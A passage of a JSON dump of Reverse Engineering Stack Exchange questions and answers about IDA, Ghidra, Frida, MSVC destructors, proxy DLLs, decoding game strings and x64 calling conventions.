pA\npush 3\nmov eax, [ecx] ;fetch vtable pointer      // &lt;-- what vftable? I have none!\ncall [eax]     ;call deleting destructor\n</code></pre>\n</blockquote>\n<p>Now I am a little confused.</p>\n<ul>\n<li>Does this class have a virtual destructor now or not?</li>\n<li>Is it possible for a deletion destructor to be generated even if I do not have a virtual destructor, and what are the requirements?</li>\n<li>Or is this what is <em>always</em> generated when I call <code>delete</code> on <em>anything</em> and I simply misunderstood the article?</li>\n<li>If it helps clearing my confusion, what is the exact difference between a deletion destructor and virtual destructor anyway?</li>\n</ul>\n<p>On a postscriptum note I know this assembly quite well otherwise and never noticed <em>any</em> kind of code optimizations (lucky me); I wonder how a vftable could've been optimized out anyway.</p>\n",
        "Title": "Can a MSVC class have a deletion destructor without a vftable?",
        "Tags": "|c++|hexrays|msvc|virtual-functions|",
        "Answer": "<p>Apparently I was confused over the articles wording due to initially seeing deletion destructors as virtual destructors. I analyzed a small scratchpad program and realized the following:</p>\n<ul>\n<li>Deletion destructors (in PDBs referred to as &quot;scalar deleting destructor&quot;) are generated whenever I call <code>delete</code> on an object with a destructor, <strong>no matter if it is virtual or not</strong>. It's practically there to ensure to call the user destructor code and then actually free the memory.</li>\n<li>Only as soon as I make the destructor virtual (or declare another method virtual), MSVC <em>always</em> generates a vftable (what else?).</li>\n</ul>\n<p>There are probably exceptions to these observations but so far I haven't seen them. Feel free to expand my knowledge here!</p>\n"
    },
    {
        "Id": "29959",
        "CreationDate": "2022-01-31T09:51:24.590",
        "Body": "<p>i have a c++ module that removes empty block it used to work well but now I'm porting it to ida 7.7 I'm having issues.</p>\n<pre><code>mba_t *mba;\nmba-&gt;remove_empty_blocks();\n</code></pre>\n<p><strong>It throws following error</strong></p>\n<pre><code>&quot;remove_empty_blocks&quot; is not a member of 'mba_t'\n</code></pre>\n<p>Even if it's deprecated what can be a possible solution to this, or i just ignore it ?</p>\n",
        "Title": "Removing empty blocks ida api",
        "Tags": "|c++|hexrays|ida-plugin|idapro-sdk|",
        "Answer": "<p>That function was renamed from <code>bool remove_empty_blocks(void)</code> to <code>bool remove_empty_and_unreachable_blocks(void)</code> as of Hex-Rays 7.6. Just change the name of the function you're trying to call.</p>\n"
    },
    {
        "Id": "29966",
        "CreationDate": "2022-02-01T22:46:21.547",
        "Body": "<p>While reversing a Sena Bluetooth Headset i noticed that the programming port of the internal chip is routed out to 6 additional undocumented Pins inside of the Micro-USB connector. Whats the best method for connecting to that without opening up the headset each time?</p>\n<p><a href=\"https://i.stack.imgur.com/5YoBN.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/5YoBN.jpg\" alt=\"Unknown Connector\" /></a></p>\n<p>Added a sketch of the location of the pins\n<a href=\"https://i.stack.imgur.com/P3cO9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/P3cO9.png\" alt=\"Paint sketch of the connector\" /></a></p>\n<p>Addendum: With some lighting around inside i noticed that the connectors are on a step at the back (upper red line shows the location of those 6 pins)\n<a href=\"https://i.stack.imgur.com/W9WNM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/W9WNM.png\" alt=\"Side view sketch\" /></a></p>\n",
        "Title": "Unknown proprietary Micro-USB variant",
        "Tags": "|hardware|",
        "Answer": "<p>Seems like i found it out. They abuse the 11-Pin Samsung MHL Adapter.</p>\n"
    },
    {
        "Id": "29971",
        "CreationDate": "2022-02-02T20:36:38.717",
        "Body": "<p>Why is there 2 places for structures in IDA: Local Types and Structures?</p>\n<p>What are Local Types local to?</p>\n<p>Why do I have to synchronize a type in the Local Types window to the idb in order to edit it? Isn't it already in the database? It is certainly in the .idb database, isn't it?</p>\n<p>When I dump typeinfo to the .idc file(<code>File &gt; Produce File &gt; Dump typeinfo to IDC File...</code>) and then import it in the same or another database, why instead of importing defined Local Types to the Local Types window and defined structures in the Structures window to the Structures, it imports everything to both places?</p>\n",
        "Title": "What is the point to have 2 different places for structures: Local Types and Structures in IDA?",
        "Tags": "|ida|",
        "Answer": "<blockquote>\n<p>Why is there 2 places for structures in IDA: Local Types and Structures?</p>\n</blockquote>\n<p>I randomly stumbled upon an answer in the product's help documentation:\n<a href=\"https://www.hex-rays.com/products/ida/support/idadoc/1042.shtml\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/idadoc/1042.shtml</a></p>\n<p>Apparently, it's assembly-level and C-level types.</p>\n<blockquote>\n<p>What are Local Types local to?</p>\n</blockquote>\n<p>The local types are types local to the current(local) type info library, which is the main and only type info library for the database, as I understand.</p>\n<blockquote>\n<p>Why do I have to synchronize a type in the Local Types window to the idb in order to edit it?</p>\n</blockquote>\n<p>Well, apparently, I don't have to, and I can edit Local Types if I press right mouse button on the type and choose <code>Edit...</code> option.</p>\n<blockquote>\n<p>Isn't it already in the database? It is certainly in the .idb database, isn't it?</p>\n</blockquote>\n<p>It is.</p>\n<blockquote>\n<p>When I dump typeinfo to the .idc file(<code>File &gt; Produce File &gt; Dump typeinfo to IDC File...</code>) and then import it in the same or another database, why instead of importing defined Local Types to the Local Types window and defined structures in the Structures window to the Structures, it imports everything to both places?</p>\n</blockquote>\n<p>Because it's doing it wrong: it takes Structures and Local Types and creates an .idc script that imports all types as assembly-level structures, instead of doing it properly: port assembly-level structures(Structures) as assembly-level structures and port C-level structures(Local Types) as C-level strutrures.</p>\n"
    },
    {
        "Id": "29978",
        "CreationDate": "2022-02-03T23:24:19.110",
        "Body": "<p>I am trying to create an instance of a class of an iOS app using Frida.</p>\n<p>In the past I have successfully done this using a command such as:</p>\n<pre><code>var instance = ObjC.chooseSync(ObjC.classes.TestClass)[0];\n</code></pre>\n<p>However, in this instance, the class that I would like to create an instance of has a <code>.</code> in the name so if I try the same command as above I understandably get an error:</p>\n<pre><code>var instance = ObjC.chooseSync(ObjC.classes.Test.Class)[0];\nSyntaxError: expecting field name\n</code></pre>\n<p>I had identified the class from the output of:</p>\n<pre><code>Object.keys(ObjC.classes).filter(function(m){ return m.toLowerCase().includes(&quot;test&quot;) });\n</code></pre>\n<p>The output of this lists a number of classes, all of which are either mangled Swift names, or have a <code>.</code> in them so I'm not sure if I simply don't understood a concept here about how Frida handles class names in a Swift and Objective-C app, or there is something I've missed in attempting to create the instance.</p>\n",
        "Title": "Create instance of iOS class that contains a . with frida",
        "Tags": "|ios|frida|hooking|",
        "Answer": "<p><code>ObjC.classes.TestClass</code> is just a shorthand in JavaScript for\n<code>ObjC.classes['TestClass']</code>.</p>\n<p>Therefore you should be able to access an <code>Test.Class</code> instance this way:</p>\n<pre><code>var instance = ObjC.chooseSync(ObjC.classes['Test.Class'])[0];\n</code></pre>\n"
    },
    {
        "Id": "29994",
        "CreationDate": "2022-02-06T17:10:59.940",
        "Body": "<p>I have imported several programs to my Ghidra project and retyped a few function parameters in one of them.</p>\n<p>Now I am working on a different program, which imports these functions.\nHowever, the imported functions still have their original, unmodified signatures.</p>\n<p>How do I tell Ghidra to propagate the changes?</p>\n",
        "Title": "How do I make Ghidra propagate modified functon signatures to other programs in that project?",
        "Tags": "|ghidra|",
        "Answer": "<p>One way that should work is using the &quot;Capture Function Prototypes&quot; context menu action on the Project Datatype Archive while in the binary that defines those functions, then applying them in the binary that imports them.</p>\n"
    },
    {
        "Id": "30007",
        "CreationDate": "2022-02-08T02:49:57.530",
        "Body": "<p>In my work, I often end up with lots of IDA windows open concurrently. Once done with analysis, I would like to close them all. It is relatively easy to issue a command to all of them simultaneously e.g. using a bridge. My problems come about when trying to close all of them without saving changes (e.g. if I ran some scripts on all of the IDA tasks and messed up).</p>\n<p>Unfortunately, <code>qexit</code> saves all changes made. Sending a kill command does prevent saving, but risks corruption. I'm left to close all of the processes one by one from the UI, which is tedious (click X, click don't save, click ok, repeat). Is there a better way (short of an autoclicker) to accomplish this?</p>\n",
        "Title": "IDA: close without saving changes",
        "Tags": "|ida|idapython|",
        "Answer": "<p>Use <code>set_database_flag(DBFL_KILL)</code></p>\n"
    },
    {
        "Id": "30029",
        "CreationDate": "2022-02-12T11:10:53.017",
        "Body": "<p>Let's say I have this code in the decompiler of IDA pro:</p>\n<pre><code>var1 = var2; \n</code></pre>\n<p>And assume the type of <code>var1</code> is <code>X</code> (for example <code>X</code> could be char array with size 5). Is there anyway that I can tell IDA that whenever you see such assignments, change the type of <code>var2</code> to <code>X</code> as well?</p>\n<p>Considering that <code>var1</code> is type <code>X</code>, then obviously <code>var2</code> should be type <code>X</code> as well, but right now I have to manually change the type every time\u2026 The problem is this is happening inside a large function thousands of times and I can't manually change every time, I need to somehow force IDA to do it. But how?</p>\n",
        "Title": "Automatically propagate types in IDA pro when variables are assigned?",
        "Tags": "|ida|idapython|",
        "Answer": "<p><a href=\"https://github.com/igogo-x86/HexRaysPyTools\" rel=\"nofollow noreferrer\">HexRaysPyTools</a> has this feature, which it calls &quot;recasting&quot; (<code>SHIFT-L</code>, <code>SHIFT-R</code>). It's generally an excellent piece of software and I recommend it.</p>\n"
    },
    {
        "Id": "30032",
        "CreationDate": "2022-02-12T19:23:26.287",
        "Body": "<p>I'm working with 2 third party DLLs (let's A.dll and B.dll), which I don't have the source code, only the compiled DLL. I know A.dll uses the main function from B.dll, and they both works perfectly. However, I need to do some other stuff, so I wrote my own DLL (let's call C.dll) and added its funtions to A.dll import table.</p>\n<p>Now I need A.dll to call these functions, just like it does evoking B.dll function.</p>\n<p>I used CFF Explorer to add  C.dll functions as import to A.dll, but my functions are not being executed. I need this to be done this way, since the main .exe file (which I don't have the source code aswell) will call A.dll on startup.</p>\n<p>Thanks for help! :)</p>\n",
        "Title": "HEX code to call DLL function",
        "Tags": "|patch-reversing|hex|assembly|",
        "Answer": "<p>Reading @peter_ferrie's answer, this sounds a lot like the proxy DLL that I made once, so I'll add some details as to how I went about it.</p>\n<p>I'll continue the naming scheme from peter's answer, so Z.DLL is the renamed original and A.DLL is your DLL (with Z.DLLs original name).</p>\n<p>First, I ran <code>dumpbin /EXPORTS</code> on the Z.DLL, resulting in a list of all exports of that DLL. I then wrote a script that took the list and generated a header file that contained one statement like this for each function Z.DLL exported:</p>\n<pre><code>#pragma comment(linker, &quot;/export:[mangled_func_name]=[Z.DLL_name].[mangled_func],@[func_ordinal]&quot;)\n</code></pre>\n<p>These need to be mangled names, and the field [Z.DLL_name] shouldn't contain the file extension!</p>\n<p>You should now be able to <code>include</code> this header in your DLL and compile it. Put your A.DLL in the program's directory and you now have an &quot;empty&quot; proxy DLL. It only forwards the function calls through your A.DLL to the original Z.DLL for now though, which is thw work of these <code>pragma</code>s.</p>\n<p>To do something interesting, you need to</p>\n<ol>\n<li>find the mangled name of the function you want to replace</li>\n<li>run it through <code>undname</code> to get the unmangled signature</li>\n<li>add a function with that signature to your A.DLL</li>\n<li>mark your function to be exported using e.g. <code>__declspec(dllexport)</code></li>\n<li>delete the corresponding <code>#pragma</code> in your header</li>\n</ol>\n<p>Voil\u00e0! The program now calls your custom function in A.DLL while everything else is passed to Z.DLL.</p>\n<p>If you need to call the original function, you should be able to do that using <code>LoadLibrary</code> and <code>GetProcAddress</code>, but I haven't done this before.</p>\n"
    },
    {
        "Id": "30040",
        "CreationDate": "2022-02-13T17:04:45.473",
        "Body": "<p>I was looking for a spcific string in IDA, but there were no hits in the &quot;string view&quot;. Now after browsing the disassembly for a while I realize that not only does the string exist, IDA did in fact find this string. It was referenced by assembly code, IDA prints it as a comment next to the assembly, even the location of the string is named with the first characters of the string!</p>\n<p>Very annoying! How come it is not listed in the string view, then? How would I go about finding referenced text strings by string?</p>\n<p>edit: an example:</p>\n<pre><code>and     [rsp+18h+var_10], 0\nlea     rax, aSettextfromsrc ; &quot;settextfromsrc&quot;\nmov     [rsp+18h+var_18], rax\nmov     r9, [rsp+18h+var_1A]\n...\n text &quot;UTF-16LE&quot;, 'settextfromsrc',0\n</code></pre>\n<p>maybe bc of the UTF-16LE?</p>\n",
        "Title": "IDA: String referenced in Assembly, but not shown in string view",
        "Tags": "|ida|strings|",
        "Answer": "<p>Right-click in the strings window, choose &quot;Setup&quot;, and ensure that, under &quot;Allowed string types&quot;, &quot;Unicode C-style (16 bits)&quot; is enabled:</p>\n<p><a href=\"https://i.stack.imgur.com/2mM6w.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2mM6w.png\" alt=\"enter image description here\" /></a></p>\n"
    },
    {
        "Id": "30043",
        "CreationDate": "2022-02-13T19:13:52.350",
        "Body": "<p>I extracted a game file, which is in JSON format, it's a bit too long, so I'll omit parts of it:</p>\n<pre><code>{name: &quot;\\xEE\\xB5k~u\\u03D7\\x80\\xF8\\xE0\\xE2\\xC5\\xCA\\xEE\\u04CF\\x90\\xBE\\xD8Cs\\xFE\\xA5Ec\\u007F\\u0006\\x85\\xA2\\xB2\\xD87&quot;,\n      f03: 2,\n      f04: 300,\n      f05: &quot;\\xE5\\u007Fe\\u0001\\xF7\\xFCC\\x87\\xF0xK\\xF7&quot;,\n      desc: &quot;l8\\x88\\xF6\\xCE\\u0012\\xC8-8g&gt;{\\xE6&amp;\\xAB\\u03E4f\\x8C\\u0012\\xDD/\\x81\\x91\\xF7\\u007F\\xD2\\u0019\\u000E\\x87\\xF7\\xF07Ek\\xFC\\xCEtU\\u0002\\x9F@eJ\\xB0\\xFA\\x93\\xA8&gt;5\\x9BK\\xAF\\xE0\\u001D\\xA1\\u0006\\xE8\\u001D.r\\xF5\\u041F\\u05CB1\\xF5J\\u000F\\&quot;\\xC6\\u001B4\\xB7\\u0000\\x97o\\xA4&gt;\\u00158q\\xE4\\x9B\\xE2z51N\\fe{\\xECV\\u0011\\xAE']|#X'\\b\\xCE\\u0005\\xEEg\\xC3\\uFE9Be\\u0018\\xC0\\xDE\\u0006&gt;;\\u0002\\xFB\\u0002;j\\xC4{\\xE9\\u0013P\\xE8a\\xC9C\\x8B\\xE65\\x87\\u063Ac(o\\xB1\\xD9\\xF4\\xAF\\xC0_D\\u001B\\xE7\\u0013n\\u0306\\x81\\xD9W\\xA8\\xC9:\\x96\\x93\\xC7\\u0006\\u0014\\xA8\\x8E\\xC0\\x96*q\\u000E&lt;\\xC1\\xA1\\u0005\\xC6\\xD9\\xE5\\u0007(t;\\x92\\x8B^\\x91c\\xFB=l&quot;}\n</code></pre>\n<p>I'm having trouble how to make sense of <code>name</code>, <code>f05</code> and <code>desc</code> fields, no idea how to decode them. It seems like a mix of hex and Unicode.</p>\n<p>The game is able to convert them into readable format, so there must be some way to decode them.</p>\n<p>For reference, the <code>name</code> string translates to <code>'[A Duty to Honor]' Kirito</code>, and <code>f05</code> is for <code>serif</code>.</p>\n<p>If anyone can tell me on how to decode this, it'll be appreciated.</p>\n",
        "Title": "Making sense of an encoded JSON string",
        "Tags": "|disassembly|file-format|hex|",
        "Answer": "<p>They are <em>encoded character strings</em> in the form of <em>byte streams</em>.</p>\n<p>But before encoded, they are highly likely somehow obfuscated or  <strong>encrypted</strong> \u2013 and this is the main problem.</p>\n<p>The <em>decoding</em> itself is not a such problem \u2013 you need to know how they are encoded, or try different encoders one after other (in spite there are <a href=\"https://docs.python.org/3.10/library/codecs.html#standard-encodings\" rel=\"nofollow noreferrer\">many tens of them</a> as <code>big5</code>, <code>cp273</code>, <code>iso-8859-5</code>, <code>gb18030-2000</code> \u2013 but some of them are only for specific natural language / languages).</p>\n<p>If you know the encoder (or at least the natural language of your game to limit the set of possible encoders), you may decode it, e.g. in Python, as I will show you:</p>\n<p>Preparation:<br />\nI will encode a string (in Python) to receive a byte stream similar to yours:</p>\n<pre><code>&gt;&gt;&gt; &quot;\u013d\u03b1a\u03b24\u03b3\u2022a\u221e&quot;.encode(&quot;utf-8&quot;)\nb'\\xc4\\xbd\\xce\\xb1a\\xce\\xb24\\xce\\xb3\\xe2\\x80\\xa2a\\xe2\\x88\\x9e'\n</code></pre>\n<p>Note the notation - the letter <code>b</code> (for byte sequence) immediately followed by the encoded string in apostrophes (quotes are good, too).</p>\n<p><strong>Proper decoding:</strong></p>\n<pre><code>&gt;&gt;&gt; b'\\xc4\\xbd\\xce\\xb1a\\xce\\xb24\\xce\\xb3\\xe2\\x80\\xa2a\\xe2\\x88\\x9e'.decode(&quot;utf-8&quot;)\n'\u013d\u03b1a\u03b24\u03b3\u2022a\u221e'\n</code></pre>\n<p>Particularly, for the value <code>&quot;\\xE5\\u007Fe\\u0001\\xF7\\xFCC\\x87\\xF0xK\\xF7&quot;</code> of your key <code>f05</code> (don't forget to put <code>b</code> at the beginning):</p>\n<pre><code>&gt;&gt;&gt; b&quot;\\xE5\\u007Fe\\u0001\\xF7\\xFCC\\x87\\xF0xK\\xF7&quot;.decode (&quot;utf-8&quot;)\nTraceback (most recent call last):\n  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;\nUnicodeDecodeError: 'utf-8' codec can't decode byte 0xe5 in position 0: invalid continuation byte\n</code></pre>\n<p>So it is definitely NOT encoded as <code>utf-8</code>.</p>\n<p>You may try other decoders from <a href=\"https://docs.python.org/3.10/library/codecs.html#standard-encodings\" rel=\"nofollow noreferrer\">this table</a>, e.g. <code>unicode_escape</code>:</p>\n<pre><code>&gt;&gt;&gt; b&quot;\\xE5\\u007Fe\\u0001\\xF7\\xFCC\\x87\\xF0xK\\xF7&quot;.decode (&quot;unicode_escape&quot;)\n'\u00e5\\x7fe\\x01\u00f7\u00fcC\\x87\u00f0xK\u00f7'\n</code></pre>\n<p>It is better, but \u2013 as I already wrote \u2013 you will never obtain directly the string <code>&quot;serif&quot;</code>, because it is in the encrypted form. You have in addition to <strong>decrypt</strong> the result of decoding, but it is impossible without knowledge of the encryption schema and a decryption key.</p>\n"
    },
    {
        "Id": "30077",
        "CreationDate": "2022-02-23T18:33:56.693",
        "Body": "<p>I'm learning reverse engineering and I'm trying to understand what process people use to identify a variable type.</p>\n<p>For example, I'm looking at an argument being passed to a function and I'm trying to understand what it is. This application uses Objective-C. This parameter could be an NSString, it could be a pointer to some struct, it could be anything, right? Printing it out shows this:</p>\n<pre><code>(lldb) po $rsi\n140732653141208\n</code></pre>\n<p>How do I find out what it is? I understand there is probably no perfect formula to definitely know what this represents, but is there some process that a more experienced person would use to try to decipher what this represents?</p>\n<p>I'm currently just trying every format and hoping something catches my eye.</p>\n<pre><code>(lldb) p/x $rsi\n(lldb) p/s $rsi\n(lldb) x/x $rsi\n(lldb) x/s $rsi\n</code></pre>\n<p>Could someone walk me through what they do or point me to some resources? This is specifically for lldb.</p>\n",
        "Title": "How to determine the data type of a register",
        "Tags": "|debugging|osx|lldb|arguments|",
        "Answer": "<p>Short story: you can't without context.</p>\n<p>In memory, everything is data, and your registers will always be populated with data.</p>\n<p>Sometime, you can <strong>guess</strong> the data type (a small integer, some characters or a string), but you don't know for sure. Is &quot;\\x42\\x43&quot; the string &quot;BC&quot; ? Is it a handler on something ? Is it the &quot;16963&quot; integer value ? Is it used as a single byte (so you don't care about &quot;\\x43&quot;) ? Nobody known without the context where you found this value.</p>\n<p>You may also see that a data may be in a specific range, and you can make a guess about its type. For instance, something in the memory range of a buffer that you previously saw may be a pointer. But once again, you don't know what this pointer represents.</p>\n<p><strong>The goal of reverse engineering is to trace back those values from where they were instantiated</strong>, and it will become easier :)</p>\n<p>Maybe this register hold the address of a buffer. Maybe it holds an error code. Maybe it holds an old data that was here, and a part of the register (let's say the lower 16 bits) contains an important value.</p>\n<p>Opening your target binary in a disassembler (like IDA) would probably help you, as the tool may type some variables for you, saving some time.</p>\n<p>In your case, try to trace back where this argument is being instantiated, it will become clearer :)</p>\n"
    },
    {
        "Id": "30085",
        "CreationDate": "2022-02-26T01:15:40.557",
        "Body": "<p>I'm just having some fun learning <strong>IDA 7.7 Free</strong> and how context switching works both on <strong>Windows 8.1</strong>. I've loaded <code>ntoskrnl.exe</code> into IDA, but I cannot find the following two functions names or symbols: <code>KiSwapContext</code> and <code>SwapContext</code>. I've included the screenshots on loading ntoskrnl.exe and the output details as follows:</p>\n<p><a href=\"https://i.stack.imgur.com/o4PN3.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/o4PN3.png\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/4VdPR.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/4VdPR.png\" alt=\"enter image description here\" /></a>\n<a href=\"https://i.stack.imgur.com/2edXK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/2edXK.png\" alt=\"enter image description here\" /></a></p>\n<pre><code>&gt;     Possible file format: Portable executable for AMD64 (PE) (C:\\Program Files\\IDA Freeware 7.7\\loaders\\pe64.dll)\n&gt; \n&gt;   bytes   pages size description\n&gt; --------- ----- ---- --------------------------------------------  29450240  3595 8192 allocating memory for b-tree...  29450240  3595\n&gt; 8192 allocating memory for virtual array...    262144    32 8192\n&gt; allocating memory for name pointers...\n&gt; -----------------------------------------------------------------  59162624            total memory allocated\n&gt; \n&gt; Loading processor module C:\\Program Files\\IDA Freeware\n&gt; 7.7\\procs\\pc64.dll for metapc...Initializing processor module metapc...OK Autoanalysis subsystem has been initialized. Loading file\n&gt; 'C:\\Users\\AUSER\\Documents\\Visual Studio 2019\\Reversing\\ntoskrnl.exe'\n&gt; into database... Detected file format: Portable executable for AMD64\n&gt; (PE)\n&gt;   0. Creating a new segment  (0000000140001000-0000000140289000) ... ... OK\n&gt;   1. Creating a new segment  (0000000140289000-000000014028C000) ... ... OK\n&gt;   2. Creating a new segment  (000000014028C000-000000014028F000) ... ... OK\n&gt;   3. Creating a new segment  (000000014028F000-0000000140290000) ... ... OK\n&gt;   4. Creating a new segment  (0000000140290000-0000000140291000) ... ... OK\n&gt;   5. Creating a new segment  (0000000140291000-0000000140305000) ... ... OK\n&gt;   6. Creating a new segment  (0000000140305000-0000000140343000) ... ... OK\n&gt;   7. Creating a new segment  (0000000140343000-0000000140346000) ... ... OK\n&gt;   8. Creating a new segment  (0000000140346000-000000014034E000) ... ... OK\n&gt;   9. Creating a new segment  (000000014034E000-0000000140361000) ... ... OK\n&gt;  10. Creating a new segment  (0000000140361000-000000014037B000) ... ... OK\n&gt;  11. Creating a new segment  (000000014037B000-0000000140658000) ... ... OK\n&gt;  12. Creating a new segment  (0000000140658000-000000014065D000) ... ... OK\n&gt;  13. Creating a new segment  (000000014065D000-0000000140685000) ... ... OK\n&gt;  14. Creating a new segment  (0000000140685000-0000000140688000) ... ... OK\n&gt;  15. Creating a new segment  (0000000140688000-000000014068F000) ... ... OK\n&gt;  16. Creating a new segment  (000000014068F000-0000000140694000) ... ... OK\n&gt;  17. Creating a new segment  (00000001406A8000-00000001406B7000) ... ... OK\n&gt;  18. Creating a new segment  (00000001406B7000-00000001406C3000) ... ... OK\n&gt;  19. Creating a new segment  (00000001406C3000-00000001406CE000) ... ... OK\n&gt;  20. Creating a new segment  (00000001406CE000-0000000140747000) ... ... OK Reading exports directory... Reading imports directory...\n&gt; Applying fixups...\n&gt;  21. Creating a new segment  (0000000140343728-0000000140346000) ... ... OK PDB: using PDBIDA provider Could not find PDB file\n&gt; 'ntkrnlmp.pdb'. Please check _NT_SYMBOL_PATH PDB: loading\n&gt; C:\\symbols\\ntkrnlmp.pdb\\0E352AF38FB64A36AA56E6CC5CAD6C1A1\\ntkrnlmp.pdb\n&gt; Assuming __fastcall calling convention by default PDB: loaded 2129\n&gt; types 1400240EC: name has been deleted: NtCreateEnlistment 1400240F4:\n&gt; name has been deleted: NtCreateResourceManager PDB: total 21006\n&gt; symbols loaded for &quot;C:\\Users\\AUSER\\Documents\\Visual Studio\n&gt; 2019\\Reversing\\ntoskrnl.exe&quot; Plan  FLIRT signature: Windows Driver Kit\n&gt; 7/10 64bit Plugin &quot;eh_parse&quot; not found Marking typical code\n&gt; sequences... Flushing buffers, please wait...ok File\n&gt; 'C:\\Users\\AUSER\\Documents\\Visual Studio 2019\\Reversing\\ntoskrnl.exe'\n&gt; has been successfully loaded into the database. Hex-Rays Decompiler\n&gt; plugin has been loaded (v7.7.0.220118)   License: 00-0000-0000-00  (0\n&gt; user)   The decompilation hotkey is F5.   Please check the\n&gt; Edit/Plugins menu for more information. Using FLIRT signature: Windows\n&gt; Driver Kit 7/10 64bit Propagating type information... Function\n&gt; argument information has been propagated The initial autoanalysis has\n&gt; been finished.\n</code></pre>\n<p>[UPDATE] I did a clean install of Windows 8/8.1 on another computer installed IDA Free 7.7 and loaded ntoskrnl.exe into IDA. This time IDA was able to display both KiSwapContext and SwapContext functions very similar output as WinDbg. On the PC which is not displaying these two functions in IDA I tried uninstalling Norton Security but that didn't help. Doing a search for SwapContext in IDA displays the following two functions:</p>\n<p><strong>SwapContext_PatchStMxCsr and\nSwapContext_PatchLdt</strong></p>\n<p>Does anyone know why this is the case ? Could this be a windows update patch by Microsoft and the real SwapContext is hidden somewhere else ?</p>\n",
        "Title": "When loading Ntoskrnl.exe in IDA Free (7.7) certain functions such as SwapContext are not displayed",
        "Tags": "|ida|",
        "Answer": "<p>KiSwapContext is not an exported function, so the mapping between its address and its name is only available either through your own manual guesswork or the PDB (which contains debug symbols).</p>\n<p>You may have had a transient issue loading the PDB file from Microsoft's Symbol Server (which provides symbols over the public Internet); without knowing exactly which mismatched PDB file you did have, and what choices you made on those dialog boxes, it's not 100% clear what went wrong.</p>\n<p>Microsoft patching Windows <em>does</em> cause the symbol table and PDB to change as updates do change the layout of functions, exact addresses, etc., but the PDB's metadata (signature and age) should catch the issue of a PDB for a different version of the binary than the one you have (as they seem to have done here).</p>\n"
    },
    {
        "Id": "30100",
        "CreationDate": "2022-03-02T15:26:53.803",
        "Body": "<p>While reverse enginnering a simple C program for training, I asked myself what was the point of those lines :</p>\n<pre><code>                         LAB_001006b5                                    XREF[1]:     0010069d(j)  \n    001006b5 48 8b 45 e0     MOV        RAX,qword ptr [RBP + local_28]\n    001006b9 48 83 c0 08     ADD        RAX,0x8\n    001006bd 48 8b 00        MOV        RAX,qword ptr [RAX]\n    001006c0 48 89 c7        MOV        argc,RAX\n    001006c3 e8 98 fe        CALL       &lt;EXTERNAL&gt;::atoi                                 int atoi(char * __nptr)\n             ff ff\n</code></pre>\n<p>I thought that the function atoi called from the CALL instruction just pop the param from the stack (so lines from 001006b5 to 001006c0 were pointless ?)\nAm I getting it right or not?</p>\n<p>Last question : what &quot;MOV argc,RAX&quot; means ?? I mean, argc is a constant ?</p>\n<p><a href=\"https://i.stack.imgur.com/DvCMJ.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DvCMJ.png\" alt=\"enter image description here\" /></a></p>\n",
        "Title": "What arguments are passed into a CALL instruction?",
        "Tags": "|disassembly|assembly|",
        "Answer": "<p>argc is an argument to the function main()</p>\n<p>main is normally prototyped as</p>\n<p><code>int __cdecl main (int argc , char *argv[] )</code> when locale is not used</p>\n<p>argc is the number of arguments passed to main  if you pass 5 arguments like<br />\n<code>foo.exe 1 2 3 4 5</code></p>\n<p>then argc will be 6 ( 5 arguments (space delimited ) + 1 program )</p>\n<p>argv is a buffer that holds those arguments</p>\n<pre><code>argv[0]=&quot;foo.exe&quot;,argv[1]=&quot;1&quot;,argv[2]=&quot;2&quot;,argv[3]=&quot;3&quot;,argv[4]=&quot;4&quot;,argv[5]=&quot;5&quot;\n</code></pre>\n<p>each of these arguments are 8 byte long in a 64 bit program (size of pointer)</p>\n<p>mov [rbp+1c] , argc --&gt; saves the numebr of arguments<br />\ncmp [rbp+1c] , 3 --&gt; checks if you passed 2 arguments (default progname + 2 args)<br />\nif the jz jumps it reaches xxxxx6b5  to load the start of argv buffer</p>\n<p>skips the first member argv[0] by adding 8<br />\ndereferences the second member argv<a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow noreferrer\">1</a> via mov rax , [rax]</p>\n<p>the next mov argc , rax is a misrepresentation by ghidra</p>\n<p>(you may need to split args and rename it )</p>\n<p>it is not argc it is rdi the default first argument that is passed by register in <a href=\"https://en.wikipedia.org/wiki/X86_calling_conventions\" rel=\"nofollow noreferrer\">System V AMD64 ABI</a></p>\n<p>you may check it by unlabelling or redefining the function prototype in Ghidra or</p>\n<p>disassembling <a href=\"http://shell-storm.org/online/Online-Assembler-and-Disassembler/?opcodes=48%2089%20c7&amp;arch=x86-64&amp;endianness=little&amp;dis_with_addr=True&amp;dis_with_raw=True&amp;dis_with_ins=True#disassembly\" rel=\"nofollow noreferrer\">48 89 c7 in an external disassembler like shell storm</a></p>\n<p>the atoi() takes one parameter a char * and returns an integer</p>\n"
    },
    {
        "Id": "30106",
        "CreationDate": "2022-03-04T21:26:09.830",
        "Body": "<p>I'm trying to automate some of my debugging with a python script that automatically places breakpoints at the first and last instructions of the functions I want to analyze. I'm using the breakpoint's condition to call python code whenever the breakpoint is hit, so I can print a line of text on the console.</p>\n<p>These functions have arguments that I want to interact with in the breakpoint's condition code from Python, but I don't know how to access them. Take the following function for example:</p>\n<pre><code>.text:00E072A0 ; char __thiscall encryptDataLong(int this, int inData, int outData, size_t bufferSize)\n.text:00E072A0 encryptDataLong proc near               ; CODE XREF: encryptData+D\u2193j\n.text:00E072A0                                         ; encryptPw+245\u2193p\n.text:00E072A0\n.text:00E072A0 var_14= dword ptr -14h\n.text:00E072A0 var_10= dword ptr -10h\n.text:00E072A0 var_C= dword ptr -0Ch\n.text:00E072A0 var_8= dword ptr -8\n.text:00E072A0 var_4= dword ptr -4\n.text:00E072A0 inData= dword ptr  4\n.text:00E072A0 outData= dword ptr  8\n.text:00E072A0 bufferSize= dword ptr  0Ch\n.text:00E072A0\n.text:00E072A0 sub     esp, 14h ; &lt;-- Breakpoint here\n</code></pre>\n<p>The second and third arguments are pointers to a chunk of memory, and the last argument is the size of this memory. I want to access all three arguments (the two pointers and the size) from python code, 